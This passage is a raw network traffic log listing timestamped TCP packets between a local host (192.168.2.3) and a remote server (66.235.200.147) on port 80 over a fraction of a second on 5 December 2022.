Dec 5, 2022 06:44:36.433166027 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433173895 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433187962 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433206081 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433223963 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433233023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433242083 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433244944 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433262110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433279991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433298111 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433310032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433316946 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433334112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433336020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433357000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433358908 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433376074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433394909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433403969 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433415890 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433435917 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433454990 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433459997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433473110 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433491945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433491945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433512926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433521986 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433532000 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433551073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433568001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433578014 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433587074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433605909 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433619022 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433635950 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433635950 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433655977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433671951 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433687925 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433687925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433707952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433718920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433726072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433744907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433762074 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433769941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433789015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433870077 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433887959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433904886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.433931112 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.433952093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434000969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434019089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434036016 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434052944 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434067965 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434071064 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434088945 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434107065 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434114933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434124947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434127092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434143066 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434160948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434168100 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434180021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434196949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434206963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434214115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434231997 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434250116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434267044 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434269905 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434284925 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434287071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434303045 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434318066 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434320927 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434338093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434350967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434355974 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434375048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434395075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434397936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434416056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434432983 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434453964 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434472084 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434483051 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434489965 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434509039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434528112 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434535027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434549093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434556007 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434567928 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434587002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434603930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434613943 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434624910 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434638977 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434643984 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434664011 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434681892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434683084 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434700012 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434711933 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434719086 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434748888 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434895992 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434916019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434933901 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434952021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434963942 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.434971094 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.434983015 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435005903 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435019016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435024977 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435045004 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435062885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435081005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435094118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435101032 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435120106 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435129881 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435137033 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435146093 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435193062 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435230970 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435247898 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435266972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435285091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435298920 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435303926 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435323954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435338974 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435342073 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435362101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435368061 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435405016 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435446024 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435465097 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435483932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435502052 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435508966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435520887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435539961 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435549021 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435559034 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435587883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435589075 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435606003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435623884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435627937 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435669899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435693979 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435710907 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435719967 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435729980 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435740948 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435748100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435765982 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435769081 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435784101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435801983 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435820103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435837030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435842037 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435853958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435872078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.435880899 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435940027 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.435992956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436110020 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436126947 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436144114 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436160088 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436163902 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436177969 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436188936 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436194897 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436228991 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436245918 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436253071 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436264038 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436275005 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436281919 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436300039 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436307907 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436316967 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436335087 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436351061 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436358929 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436369896 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436386108 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436387062 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436407089 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436414003 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436427116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436444998 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436460972 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436469078 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436479092 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436491966 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436496973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436515093 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436525106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436532021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436548948 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436567068 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436583042 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436583996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436602116 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436605930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436619043 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436625004 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436635971 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436654091 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436661959 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436674118 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436691046 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436707973 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436712980 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436727047 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436736107 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436745882 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436763048 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436780930 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436794996 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436800003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436815023 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436817884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436836958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436849117 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436885118 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436906099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436923981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436940908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436958075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436966896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.436975956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.436994076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437005997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437011957 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437031031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437042952 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437050104 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437073946 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437242031 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437258959 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437277079 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437293053 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437297106 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437310934 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437318087 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437355995 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437374115 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437391996 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437408924 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437412024 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437429905 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437447071 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437453032 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437464952 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437483072 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437500954 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437505960 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437517881 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437530041 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437536001 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437556028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437572956 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437589884 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437588930 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437607050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437613010 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437625885 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437628984 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437644958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437661886 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437668085 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437680960 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437712908 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437720060 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437731028 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437748909 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437764883 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437772036 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437782049 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437784910 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437799931 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437818050 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437835932 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437840939 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437855005 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437865973 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437871933 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437889099 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437899113 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437906981 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437925100 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437949896 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437958002 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437972069 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.437977076 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.437997103 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438014030 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438024998 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438030958 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438049078 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438059092 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438066006 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438083887 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438092947 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438102007 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438118935 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438122988 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438136101 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438152075 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438169003 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438174963 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438199997 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438215017 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438232899 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438251019 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438275099 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438298941 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438384056 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438401937 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438420057 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438438892 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438442945 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438483000 CET	49704	80	192.168.2.3	66.235.200.147
Dec 5, 2022 06:44:36.438534021 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438550949 CET	80	49704	66.235.200.147	192.168.2.3
Dec 5, 2022 06:44:36.438568115 CET	80	49704	66.235.200.147	192.168.2.3
